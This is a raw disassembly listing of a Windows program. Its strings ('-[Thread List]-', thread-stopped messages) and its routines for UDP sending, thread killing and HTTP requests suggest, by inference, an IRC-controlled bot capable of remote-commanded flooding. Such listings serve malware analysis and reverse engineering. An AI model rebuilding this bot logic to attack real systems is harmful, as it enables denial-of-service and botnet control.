		lea	eax, [ebp+var_780]
		push	eax
		call	sub_401014
		pop	ecx
		jmp	loc_414A87
; ---------------------------------------------------------------------------


loc_414977:				; CODE XREF: sub_4145E8+2B6j
					; sub_4145E8+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_43577C
		push	edi
		call	dword_4916C0	; sendto
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset dword_435744
		push	eax
		call	sub_416821
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_401014
		add	esp, 14h
		jmp	loc_414A87
; ---------------------------------------------------------------------------


loc_4149BD:				; CODE XREF: sub_4145E8+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_414A71
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_4149FA
		inc	al
		xor	cl, cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], bl
		jmp	short loc_414A08
; ---------------------------------------------------------------------------


loc_4149FA:				; CODE XREF: sub_4145E8+3FEj
		inc	cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], cl


loc_414A08:				; CODE XREF: sub_4145E8+410j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_417E44
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_416DEA
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	dword_4916C0	; sendto
		cmp	edi, ebx
		jnz	short loc_414A87
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_435710
		jmp	loc_41492B
; ---------------------------------------------------------------------------


loc_414A71:				; CODE XREF: sub_4145E8+268j
					; sub_4145E8+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_435704
		push	edi
		call	dword_4916C0	; sendto


loc_414A87:				; CODE XREF: sub_4145E8+204j
					; sub_4145E8+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_414793


loc_414A93:				; CODE XREF: sub_4145E8+1B4j
		push	edi
		call	dword_4916F4	; closesocket
		push	[ebp+var_8]
		call	sub_416D94
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_414AC7
		push	[ebp+var_170]
		call	sub_4012A3
		pop	ecx
		push	ebx
		call	ds:dword_495334	; ExitThread


loc_414AC7:				; CODE XREF: sub_4145E8+4CAj
		push	3E8h
		call	ds:dword_495324	; Sleep
		push	esi


loc_414AD3:				; CODE XREF: sub_4145E8+123j
		call	sub_4012EE
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4145E8	endp

; ---------------------------------------------------------------------------
		db 13Dh	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414C1C	proc near		; CODE XREF: sub_40105Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E720


loc_414C24:				; CODE XREF: sub_414C1C+18j
		cmp	byte ptr [eax],	0
		jz	short loc_414C38
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4834B0
		jl	short loc_414C24
		jmp	short loc_414C83
; ---------------------------------------------------------------------------


loc_414C38:				; CODE XREF: sub_414C1C+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E720[esi]
		push	eax
		call	sub_416A10
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E920[esi], eax
		and	dword_43E924[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E928[esi], 0
		mov	dword_43E92C[esi], eax
		and	byte_43E938[esi], 0
		pop	esi


loc_414C83:				; CODE XREF: sub_414C1C+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_414C1C	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------


loc_414CA1:				; CODE XREF: sub_4011E5j
		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-98h]
		rep movsd
		push	dword ptr [ebp-10h]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp-94h]
		push	dword ptr [ebp-0Ch]
		push	eax
		push	dword ptr [ebp-98h]
		call	sub_40108C
		push	dword ptr [ebp-14h]
		call	sub_4012A3
		add	esp, 14h
		push	0
		call	ds:dword_495334	; ExitThread
		pop	edi
		pop	esi
; ---------------------------------------------------------------------------
		db 14h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414D07	proc near		; CODE XREF: sub_40108Cj

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aThreadList ; "-[Thread List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43E720


loc_414D31:				; CODE XREF: sub_414D07+78j
		cmp	byte ptr [esi],	0
		jz	short loc_414D72
		cmp	[ebp+arg_C], 0
		jnz	short loc_414D45
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_414D72


loc_414D45:				; CODE XREF: sub_414D07+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_416821
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 24h


loc_414D72:				; CODE XREF: sub_414D07+2Dj
					; sub_414D07+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4834B0
		jl	short loc_414D31
		pop	edi
		pop	esi
		leave
		retn
sub_414D07	endp

; ---------------------------------------------------------------------------
		db 1Fh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414DA4	proc near		; CODE XREF: sub_4010A5j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_414E2C
		cmp	esi, 1F4h
		jge	short loc_414E2C
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E934[esi]
		lea	edi, dword_43E934[esi]
		call	ds:dword_4953B4	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_414DDC
		push	1
		pop	ebp


loc_414DDC:				; CODE XREF: sub_414DA4+33j
		mov	[edi], ebx
		lea	edi, dword_43E928[esi]
		mov	dword_43E920[esi], ebx
		mov	dword_43E924[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_414DFD
		push	eax
		call	sub_40124E
		pop	ecx


loc_414DFD:				; CODE XREF: sub_414DA4+50j
		mov	[edi], ebx
		lea	edi, dword_43E92C[esi]
		mov	byte ptr dword_43E720[esi], bl
		mov	byte_43E938[esi], bl
		push	dword ptr [edi]
		call	dword_4916F4	; closesocket
		lea	esi, dword_43E930[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4916F4	; closesocket
		mov	[esi], ebx
		pop	edi


loc_414E2C:				; CODE XREF: sub_414DA4+Dj
					; sub_414DA4+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_414DA4	endp

; ---------------------------------------------------------------------------
		db 23h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414E55	proc near		; CODE XREF: sub_401109j
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E720


loc_414E61:				; CODE XREF: sub_414E55+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_414E72
		push	edi
		call	sub_4010A5
		test	eax, eax
		pop	ecx
		jz	short loc_414E72
		inc	ebx


loc_414E72:				; CODE XREF: sub_414E55+Fj
					; sub_414E55+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4834B0
		jl	short loc_414E61
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_414E55	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E93	proc near		; CODE XREF: sub_401285j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E924


loc_414EA7:				; CODE XREF: sub_414E93+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_414EC9
		test	edi, edi
		jle	short loc_414EBB
		cmp	[esi], edi
		jz	short loc_414EBB
		cmp	ebx, edi
		jnz	short loc_414EC9


loc_414EBB:				; CODE XREF: sub_414E93+1Ej
					; sub_414E93+22j
		push	ebx
		call	sub_4010A5
		test	eax, eax
		pop	ecx
		jz	short loc_414EC9
		inc	[ebp+var_4]


loc_414EC9:				; CODE XREF: sub_414E93+1Aj
					; sub_414E93+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4836B4
		jl	short loc_414EA7
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414E93	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414EF3	proc near		; CODE XREF: sub_4010E6j

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E920


loc_414EFA:				; CODE XREF: sub_414EF3+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_414F03
		inc	eax


loc_414F03:				; CODE XREF: sub_414EF3+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4836B0
		jl	short loc_414EFA
		retn
sub_414EF3	endp

; ---------------------------------------------------------------------------
		db 7 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414F19	proc near		; CODE XREF: sub_40128Aj

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E920


loc_414F23:				; CODE XREF: sub_414F19+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_414F3C
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4836B0
		jl	short loc_414F23
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_414F3C:				; CODE XREF: sub_414F19+10j
		mov	eax, edx
		pop	esi
		retn
sub_414F19	endp

; ---------------------------------------------------------------------------
		db 9 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414F49	proc near		; CODE XREF: sub_4010A0j

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_414F62
		push	[ebp+arg_1C]
		call	sub_416CCF
		pop	ecx


loc_414F62:				; CODE XREF: sub_414F49+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_401285
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_414F8E
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_416821
		add	esp, 14h
		jmp	short loc_414FA8
; ---------------------------------------------------------------------------


loc_414F8E:				; CODE XREF: sub_414F49+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_416821
		add	esp, 10h


loc_414FA8:				; CODE XREF: sub_414F49+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_414FC8
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 14h


loc_414FC8:				; CODE XREF: sub_414F49+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_401014
		pop	ecx
		leave
		retn
sub_414F49	endp

; ---------------------------------------------------------------------------
		db 23h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414FFA	proc near		; CODE XREF: sub_4012A3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E934[eax], ecx
		mov	dword_43E920[eax], ecx
		mov	dword_43E924[eax], ecx
		mov	dword_43E928[eax], ecx
		mov	dword_43E92C[eax], ecx
		mov	dword_43E930[eax], ecx
		mov	byte ptr dword_43E720[eax], cl
		mov	byte_43E938[eax], cl
		retn
sub_414FFA	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(0CCh)
; ---------------------------------------------------------------------------


loc_415046:				; CODE XREF: sub_4011B3j
		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-35Ch]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp-148h]
		push	ebx
		push	eax
		mov	[ebp-0Ch], ebx
		mov	[ebp-4], ebx
		mov	dword ptr [ebp-8], offset dword_4359E4
		call	sub_415CA0
		push	edi
		lea	eax, [ebp-1C8h]
		push	ebx
		push	eax
		call	sub_415CA0
		push	edi
		lea	eax, [ebp-0C8h]
		push	ebx
		push	eax
		call	sub_415CA0
		push	100h
		lea	eax, [ebp-65Ch]
		push	ebx
		push	eax
		call	sub_415CA0
		push	3Ch
		lea	eax, [ebp-48h]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_415CA0
		add	esp, 3Ch
		lea	eax, [ebp-48h]
		mov	[ebp-48h], edi
		mov	[ebp-34h], esi
		push	eax
		lea	eax, [ebp-358h]
		push	ebx
		push	eax
		mov	[ebp-28h], esi
		mov	[ebp-20h], esi
		mov	[ebp-18h], esi
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp-358h]
		push	eax
		call	dword_491564	; InternetCrackUrlA
		test	eax, eax
		jz	loc_4151E0
		cmp	[ebp-34h], ebx
		jbe	short loc_41511D
		push	dword ptr [ebp-34h]
		lea	eax, [ebp-148h]
		push	dword ptr [ebp-38h]
		push	eax
		call	sub_416A10
		add	esp, 0Ch


loc_41511D:				; CODE XREF: .text:00415106j
		cmp	[ebp-28h], ebx
		movzx	esi, word ptr [ebp-30h]
		jbe	short loc_41513B
		push	dword ptr [ebp-28h]
		lea	eax, [ebp-1C8h]
		push	dword ptr [ebp-2Ch]
		push	eax
		call	sub_416A10
		add	esp, 0Ch


loc_41513B:				; CODE XREF: .text:00415124j
		cmp	[ebp-20h], ebx
		jbe	short loc_415155
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-0C8h]
		push	dword ptr [ebp-24h]
		push	eax
		call	sub_416A10
		add	esp, 0Ch


loc_415155:				; CODE XREF: .text:0041513Ej
		cmp	[ebp-18h], ebx
		jbe	short loc_41516F
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-65Ch]
		push	dword ptr [ebp-1Ch]
		push	eax
		call	sub_416A10
		add	esp, 0Ch


loc_41516F:				; CODE XREF: .text:00415158j
		push	ebx
		push	ebx
		lea	eax, [ebp-0C8h]
		push	3
		push	eax
		lea	eax, [ebp-1C8h]
		push	eax
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	dword_49160C
		call	dword_491630	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4151F8
		push	ebx
		lea	eax, [ebp-8]
		push	200h
		push	eax
		lea	eax, [ebp-2D8h]
		push	eax
		lea	eax, [ebp-65Ch]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_491624	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp-4], eax
		jz	short loc_4151FF
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4915D8	; HttpSendRequestA
		test	eax, eax
		jz	short loc_4151D9
		push	offset dword_4359B8
		jmp	short loc_415204
; ---------------------------------------------------------------------------


loc_4151D9:				; CODE XREF: .text:004151D0j
		push	offset unk_435964
		jmp	short loc_415204
; ---------------------------------------------------------------------------


loc_4151E0:				; CODE XREF: .text:004150FDj
		lea	eax, [ebp-55Ch]
		push	offset dword_435938
		push	eax
		call	sub_416821
		mov	esi, [ebp-0Ch]
		pop	ecx
		pop	ecx
		jmp	short loc_415212
; ---------------------------------------------------------------------------


loc_4151F8:				; CODE XREF: .text:00415199j
		push	offset unk_4358F8
		jmp	short loc_415204
; ---------------------------------------------------------------------------


loc_4151FF:				; CODE XREF: .text:004151C1j
		push	offset unk_4358B0


loc_415204:				; CODE XREF: .text:004151D7j
					; .text:004151DEj ...
		lea	eax, [ebp-55Ch]
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx


loc_415212:				; CODE XREF: .text:004151F6j
		cmp	[ebp-1D4h], ebx
		jnz	short loc_41523D
		push	ebx
		lea	eax, [ebp-55Ch]
		push	dword ptr [ebp-1D0h]
		push	eax
		lea	eax, [ebp-258h]
		push	eax
		push	dword ptr [ebp-35Ch]
		call	sub_4010D2
		add	esp, 14h


loc_41523D:				; CODE XREF: .text:00415218j
		lea	eax, [ebp-55Ch]
		push	eax
		call	sub_401014
		pop	ecx
		push	esi
		call	dword_491690	; InternetCloseHandle
		push	dword ptr [ebp-4]
		call	dword_491690	; InternetCloseHandle
		push	dword ptr [ebp-1D8h]
		call	sub_4012A3
		pop	ecx
		push	ebx
		call	ds:dword_495334	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
; ---------------------------------------------------------------------------
		db 8Ah dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4152FA	proc near		; CODE XREF: sub_401113j

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_415304:				; CODE XREF: sub_4152FA+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_415364
		cmp	eax, 1
		jnz	short loc_415364
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_415364
		cmp	cl, 2Ah
		jz	short loc_41534B
		cmp	cl, 3Fh
		jz	short loc_41532E
		cmp	cl, 5Bh
		jz	short loc_415333
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_41532E:				; CODE XREF: sub_4152FA+26j
		inc	[ebp+arg_4]
		jmp	short loc_41535E
; ---------------------------------------------------------------------------


loc_415333:				; CODE XREF: sub_4152FA+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_4010B9
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41535E
; ---------------------------------------------------------------------------


loc_41534B:				; CODE XREF: sub_4152FA+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40129E
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_41535E:				; CODE XREF: sub_4152FA+37j
					; sub_4152FA+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_415304
; ---------------------------------------------------------------------------


loc_415364:				; CODE XREF: sub_4152FA+Ej
					; sub_4152FA+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_415374
		cmp	eax, 1
		jnz	short loc_41538B
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_415364
; ---------------------------------------------------------------------------


loc_415374:				; CODE XREF: sub_4152FA+6Dj
		cmp	eax, 1
		jnz	short loc_41538B
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_41538B
		cmp	byte ptr [esi],	0
		jnz	short loc_41538B
		push	1
		pop	eax
		jmp	short loc_41538D
; ---------------------------------------------------------------------------


loc_41538B:				; CODE XREF: sub_4152FA+72j
					; sub_4152FA+7Dj ...
		xor	eax, eax


loc_41538D:				; CODE XREF: sub_4152FA+8Fj
		pop	esi
		pop	ebp
		retn
sub_4152FA	endp

; ---------------------------------------------------------------------------
		db 25h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153B5	proc near		; CODE XREF: sub_4010B9j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_4153D6
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_4153D6:				; CODE XREF: sub_4153B5+19j
		push	ebx
		push	esi


loc_4153D8:				; CODE XREF: sub_4153B5+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_4153E6
		cmp	[ebp+var_4], eax
		jnz	short loc_415432


loc_4153E6:				; CODE XREF: sub_4153B5+2Aj
		test	edi, edi
		jnz	short loc_415427
		cmp	bl, 2Dh
		jnz	short loc_41541B
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_41541B
		cmp	al, 5Dh
		jz	short loc_41541B
		cmp	[ebp+var_4], edi
		jnz	short loc_41541B
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_415427
		cmp	bl, al
		jg	short loc_415427
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_415427
; ---------------------------------------------------------------------------


loc_41541B:				; CODE XREF: sub_4153B5+38j
					; sub_4153B5+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_415427
		push	1
		pop	edi


loc_415427:				; CODE XREF: sub_4153B5+33j
					; sub_4153B5+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_4153D8
; ---------------------------------------------------------------------------


loc_415432:				; CODE XREF: sub_4153B5+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_41543F
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_41543F:				; CODE XREF: sub_4153B5+82j
		cmp	edi, eax
		jnz	short loc_415448
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_415448:				; CODE XREF: sub_4153B5+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_4153B5	endp

; ---------------------------------------------------------------------------
		db 26h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415473	proc near		; CODE XREF: sub_40129Ej

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_41548F:				; CODE XREF: sub_415473+3Aj
		cmp	[eax], bl
		jz	short loc_4154AF
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_4154A4
		cmp	cl, 2Ah
		jnz	short loc_4154AF
		cmp	cl, 3Fh
		jnz	short loc_4154A7


loc_4154A4:				; CODE XREF: sub_415473+25j
		inc	eax
		mov	[edi], eax


loc_4154A7:				; CODE XREF: sub_415473+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_41548F
; ---------------------------------------------------------------------------


loc_4154AF:				; CODE XREF: sub_415473+1Ej
					; sub_415473+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_4154BA
		inc	dword ptr [esi]
		jmp	short loc_4154AF
; ---------------------------------------------------------------------------


loc_4154BA:				; CODE XREF: sub_415473+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_4154DB
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_4154CC
		xor	eax, eax
		jmp	short loc_41553B
; ---------------------------------------------------------------------------


loc_4154CC:				; CODE XREF: sub_415473+53j
		cmp	cl, bl
		jnz	short loc_4154DB
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_4154DB
		push	1
		pop	eax
		jmp	short loc_41553B
; ---------------------------------------------------------------------------


loc_4154DB:				; CODE XREF: sub_415473+4Dj
					; sub_415473+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_401113
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415525


loc_4154E9:				; CODE XREF: sub_415473+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_4154ED:				; CODE XREF: sub_415473+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_415505
		cmp	cl, 5Bh
		jz	short loc_415505
		cmp	dl, bl
		jz	short loc_415505
		inc	eax
		mov	[edi], eax
		jmp	short loc_4154ED
; ---------------------------------------------------------------------------


loc_415505:				; CODE XREF: sub_415473+82j
					; sub_415473+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_41551C
		push	eax
		push	dword ptr [esi]
		call	sub_401113
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_415521
; ---------------------------------------------------------------------------


loc_41551C:				; CODE XREF: sub_415473+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_415521:				; CODE XREF: sub_415473+A7j
		cmp	eax, ebx
		jnz	short loc_4154E9


loc_415525:				; CODE XREF: sub_415473+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_415538
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_415538
		mov	[ebp+var_4], 1


loc_415538:				; CODE XREF: sub_415473+B6j
					; sub_415473+BCj
		mov	eax, [ebp+var_4]


loc_41553B:				; CODE XREF: sub_415473+57j
					; sub_415473+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415473	endp

; ---------------------------------------------------------------------------
		db 33h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415573	proc near		; CODE XREF: sub_4026AF+15p
					; sub_40271E+15p ...
		mov	eax, offset loc_4250EC
		call	sub_4163B8
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_401050
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_4158E0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_4010F0
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4155CD
		lea	eax, [ebp-3Ch]
		push	offset dword_428250
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427588
		call	sub_4181A0
		pop	esi
sub_415573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4155CD	proc near		; CODE XREF: sub_415573+3Fp
					; sub_41579F+3Fp
		mov	eax, offset loc_425100
		call	sub_4163B8
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_4370BC
		call	sub_41803C
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_401050
		push	ds:dword_427084
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_401258
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_4275A8
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
